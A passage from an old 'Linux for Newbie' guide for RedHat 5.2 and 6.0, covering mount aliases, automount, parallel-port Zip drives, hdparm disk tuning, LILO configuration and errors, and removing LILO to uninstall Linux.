4.2.7 Mounting command is too long, how can I simplify it with an alias? An alias is an abbreviation of a more complex or often used operating system command. For creating aliases, I edit, as root, the file /etc/bashrc . This way the aliases are available for all the users on the system. (For creating user-specific aliases, I edit the file .bashrc in the user home directory.) The relevant part of my /etc/bashrc looks like this: alias cdrom="mount -v /mnt/cdrom" alias ucdrom="umount -v /mnt/cdrom" alias dosdrive="mount -v /mnt/dosdrive" alias udosdrive="umount -v /mnt/dosdrive" alias zipdrive="mount -v /mnt/zipdrive" alias uzipdrive="umount -v /mnt/zipdrive" alias floppy="mount -v /mnt/floppy" alias ufloppy="umount -v /mnt/floppy" The option "-v" stands for "verbose", i.e., it tells Linux to talk to me a lot during mounting. For the aliases to take effect, the user has to re-login. Now the user can mount the floppy using this simple command: floppy and s/he can unmount it using ufloppy 4.2.8 Can I automount? You can. Automount will automatically mount a filesystem as you access it and unmount when you stop using it. To set up automount, I first run the programs setup (as root). Go to the option "netsysv" (RH5.2) or "System Services" (RH6.0) and make sure that automount service ("autofs") is enabled. 68 Then, I configure automount by editing the files /etc/auto.master and /etc/auto.misc, e.g. (as root): pico /etc/auto.master My /etc/auto.master looks like that: /misc /etc/auto.misc --timeout 1 This says that my automount devices will be mounted in the directory/misc (which must exist and be empty). My automount drives will automatically unmount one second after I stop using them (for example, after I exit the directory). This is a short time--you may choose a longer one. The detailed config file is /etc/auto.misc . Here is mine: kernel -ro,soft,intr ftp.kernel.org:/pub/linux cdrom -fstype=auto,ro :/dev/cdrom floppy -fstype=auto,rw :/dev/fd0 zipdrive -fstype=vfat,rw :/dev/sda4 dosdrive -fstype=vfat,ro :/dev/hda1 hacker_cdrom -fstype=nfs,ro hacker:/mnt/cdrom hacker_floppy -fstype=nfs,rw hacker:/mnt/floppy hacker_usr -fstype=nfs,ro hacker:/usr Each line consists of 3 space delimited fields. The first field is the "key" which will be the name of the subdirectory (under /misc) to which the device will be mounted. This directory must NOT exist. It will not be visible when I use the command ls , but I can "cd" to it and my device will then mount. Don’t ask me why it is so, and how to use this automount in GUI. I don’t know. The hacker stuff in my auto.misc is the cdrom and floppy from another computer in my home network. I automount to the directory /misc (not /mnt) so that I can also mount filesystems manually, without using automount, to the directory /mnt. 4.2.9 How do I get my parallel-port (external) Zip drive recognized? RedHat 5.2 During the initial RH5.2 installation, answer "yes" to the question "do you have scsi devices" Then pick up the parallel port zip drive (ppa) from the list. During the disk partitioning later in the installation process, either have a disk in your zip drive or tell the install process to "skip" when it attempts to access your zip drive. If you didn’t setup your Zip drive during the initial RedHat installation, you may also add the Zip support later in a way similar to adding the network card or any other module to the kernel: As root, start an X-terminal, and run /usr/bin/kernelcfg 69 to insert the ppa module into the kernel. (The "ppa" stands for, I guess, the "parallel port first interface ’a’ ".) After everything is done, inspect /proc/modules to see if the ppa module is loaded (or run as root lsmod to list the loaded modules). The information from kernelcfg goes to the file /etc/conf.modules so if you have difficulty removing modules (e.g. inserted by mistake)--as I did--just edit and adjust this file manually. Now your zipdrive should be recognized. Put a zipdisk into it and try mounting using the previously described command (as root): mount -t vfat /dev/sda4 /mnt/zipdrive Using the Linux kernel ver.2.0.36 and below, you will not be able to use a printer which is connected through the parallel port zip drive (this works with the kernel 2.2.x). Use the command uname -a to see which version of kernel you are running. RedHat 6.0 and 6.1 The zipdrive (zip100 drive) installation did not work during my upgrade to RedHat 6.0 (the installation program said that it couldn’t find the zipdrive). So, after the installation was completed, I issued the following commands to insert the modules for parallel port zip drive into the kernel (as root): /sbin/insmod parport /sbin/insmod ppa To have these two lines executed automatically after each bootup, I added them at the end of the file /etc/rc.d/rc.local (this file is something like autoexec.bat on DOS). If this still does not work for you, you may also want to edit the file /etc/conf.modules. Mine contains such a line: alias parport_lowlevel parport_pc and there is no line mentioning the "ppa" module. For the newer Zip250 drive, I have the following two lines executed from my /etc/rc.d/rc.local file: /sbin/insmod parport /sbin/insmod imm 70 4.2.10 Can I set 32-bit hard drive I/O? I know nothing about harddrives, but saw a review of RedHat 6.0 by Edward Choh (http://hardwarezone.community.com.sg/main.htm), in which he gave some interesting tips, including setting up the 32 bit input/output (I/O) and direct memory access (DMA). I tried it, and it worked fine for me. Be warned that it can possibly harm the content of your harddrive, so do not do it if you are a real PC newbie, don’t feel geeky today, or have a weak heart--I can’t guarantee it will work for you. The turning on of the 32-bit I/O and DMA has to be done by root, and I did it in a single-user mode (to minimize the damage to the file system if something went wrong and I had to reboot). I definitely would not do it on a system currently running many programs or X-windows, and would have a current backup of any precious data. To boot your computer in a single-user mode, I type this at the lilo prompt (during bootup): linux single Say I would like enable the 32-bit I/O on my first IDE harddrive, which is "hda". First, I time the harddrive current performance, and note the score: hdparm -t /dev/hda Now, I display my current I/O and DMA settings: hdparm -c /dev/hda [my system showed 0, meaning that the 32-bit I/O is turned off and the default 16-bit access is used] hdparm -d /dev/hda [my system showed 0 again, meaning that the harddrive DMA access is turned off]. Now, I turn on the 32 bit IO and DMA: hdparm -c 1 /dev/hda hdparm -d 1 /dev/hda Now, I can time the performance of the harddrive again to compare the score with the original one: hdparm -t /dev/hda If everything worked ok, and the performance has improved, I can "commit" the new settings, so they can survive a soft reset: hdparm -k 1 /dev/hda 71 To have the new settings in effect every time you reboot the machine, you may add a line at the end of the file /etc/rc.d/rc.local (this file is something like AUTOEXEC.BAT in DOS): hdparm -c 1 -d 1 -k 1 /dev/hda If something did not work as expected, or the performance did not really improve, I can reboot at any time and the old settings will be in effect as long as I did not perform the last operation. I performed this tune-up on 4 hard drives on our home network. It was a success on 3 newer hardrives: the performance improved by 30-300% and at least one computer "feels" faster than before. One harddrive (which is always flaky) hanged the computer hard during the performance test and I had to reset the machine (no damage done).

Linux for Newbie(Part 5.1)

LILO issues 
1.1 Linux cannot detect all my memory

If you have more than 64 megabytes of physical memory, Linux kernel ver. 2.0.36 or lower will use, by default, only the first 64 MB. To see how much memory Linux uses on your system, type: cat /proc/meminfo
ou can check your version of Linux kernel with: uname -a
The last popular kernel with the "memory problem", 2.0.36, comes with RedHat 5.2. My RedHat 6.0 came with kernel 2.2.5-15 so it does not have the "memory problem" any more. To get more than 64 MB memory recognized on RH5.2, you have to edit (as root) the file /etc/lilo.conf, and add a line like this just before your first "image=" statement: append="mem=80M" If you have an amount of memory different than 80 MB, adjust the above line. For any changes in /etc/lilo.conf to take effect, you *must* re-run the program lilo (watch if it runs without errors) and reboot. After the reboot, you can check if your adjustment worked using either of these two commands: cat /proc/meminfo free For testing purposes, or if you are having problems, the option of specifying the amount of memory at the LILO prompt is useful: [type at LILO prompt during bootup] linux "mem=16M" Occasionally, I hear the advice to skip the upper few megabytes if you have problems enabling all your memory, or the machine locks up. E.g., enable only 78 out of your 80 MB. This is apparently the case for some SCSI controllers that use the very upper chunk of the main memory. Take it for what it’s worth. Occasionally on some systems, Linux recognizes only 16 MB of memory. This is usually linked to the setting "memory hole at 15-16 MB" enabled in the BIOS setup (the solution is to disable this BIOS setting). It is probably a good idea to disable all "advanced" features in your BIOS setup anyway (for example, the BIOS virus detection seems to be a common source of problems ). Mixture of memory chips with different timings can also lead to memory recognition problems or to system crashes (the solution is to replace the memory chips so that the timing of all memory chips is the same).
1.2 LILO displays only LI (or LIL) and hangs 
I quote from my good handbook "Red Hat Linux Unleashed" by Kamran Hussain, Timothy Parker, et al., published by SAMS Publishing: "When LILO loads itself, it displays the word LILO. Each letter is printed before or after performing some specific action. If LILO fails at some point, the letters printed so far can be used to identify the problem. [...] 59 LI [...] This is caused either by geometry mismatch or by moving /etc/lilo/boot.b without running the map installer. LIL [...] This is typically caused by media failure or geometry mismatch." The geometry means the number of sectors/heads/cylinders used in the hard drive configuration of your BIOS. Hope this helps! It is a very good idea to have a handbook for Linux or at least a general UNIX handbook. Handbooks for Windows are useless, handbooks for Linux are great! "Red Hat Linux Unleashed" is a very good handbook but I am sure there are many other equally good ones. With a LILO error like above, you can boot your machine using a Linux or DOS boot floppy. There seems to be several general possibilities to correct such a LILO error, depending on what is wrong: 1. If LILO simply got corrupted, you can remove and re-install it. You can remove LILO by running under Linux: lilo -u /dev/hda or, under DOS: FDISK/MBR which rewrites the hard drive master boot record (MBR), in which LILO resides, and replaces it with "clean" DOS stuff. You will lose access to Linux, but you can boot it from the floppy and re-install LILO on top of the DOS MBR. To re-install LILO simply re-run the command lilo (as root). 2. Specify the option linear in your /etc/lilo.conf file. This is particularly useful for large drives (>8 GB). See man lilo.conf for details. The option "linear" is safe--it should not affect a properly working system, so you can specify this option is any case. 3. Look into your BIOS setup and figure out how your hard drive geometry does not match your hard drive. From under Linux, you can display the hard drive geometry using (for example, for the first IDE hard drive): hdparm -g /dev/hda 4. Put LILO on another partition (different hard drive) and make this partition bootable from fdisk (if your system supports booting from another drive). 5. Maybe you prefer to use "loadlin" instead of "lilo". From under DOS, locate your CDROM and see the program /dosutils/loadlin.exe . It boots Linux from DOS. 60
4.1.3 How can I change the operating system that LILO boots on default? 
There are typically two sections in the file /etc/lilo.conf. One starts with "image=" and it is relevant to Linux, the other starts with "other=" and this is the dos/win section. The first to appear in /etc/lilo.conf is booted by default. So to change the system that boots on default, swap the sections. Don’t forget to re-run the command lilo after any changes to /etc/lilo/conf .
1.4 The LILO prompt stays too short (or too long) on the screen during the bootup 
Add or adjust the line delay=100 right before the first "image=" or "append=" statement in your /etc/lilo.conf file. The number is the time of delay in tenths of a second (0.1 s), so in the example above the delay will be 10 seconds. Don’t forget to re-run lilo after making the changes to the /etc/lilo.conf file, or the delay will not change.
1.5 Uninstalling Linux
If you really wanted to "uninstall" Linux, you can run this command (from under DOS or MS Windows): FDISK/MBR which will get rid of LILO--it overwrites the master boot record (MBR) of your first hard drive, where LILO resides. After this you can remove the Linux partitions using the DOS "FDISK" utility to re-claim the hard drive space.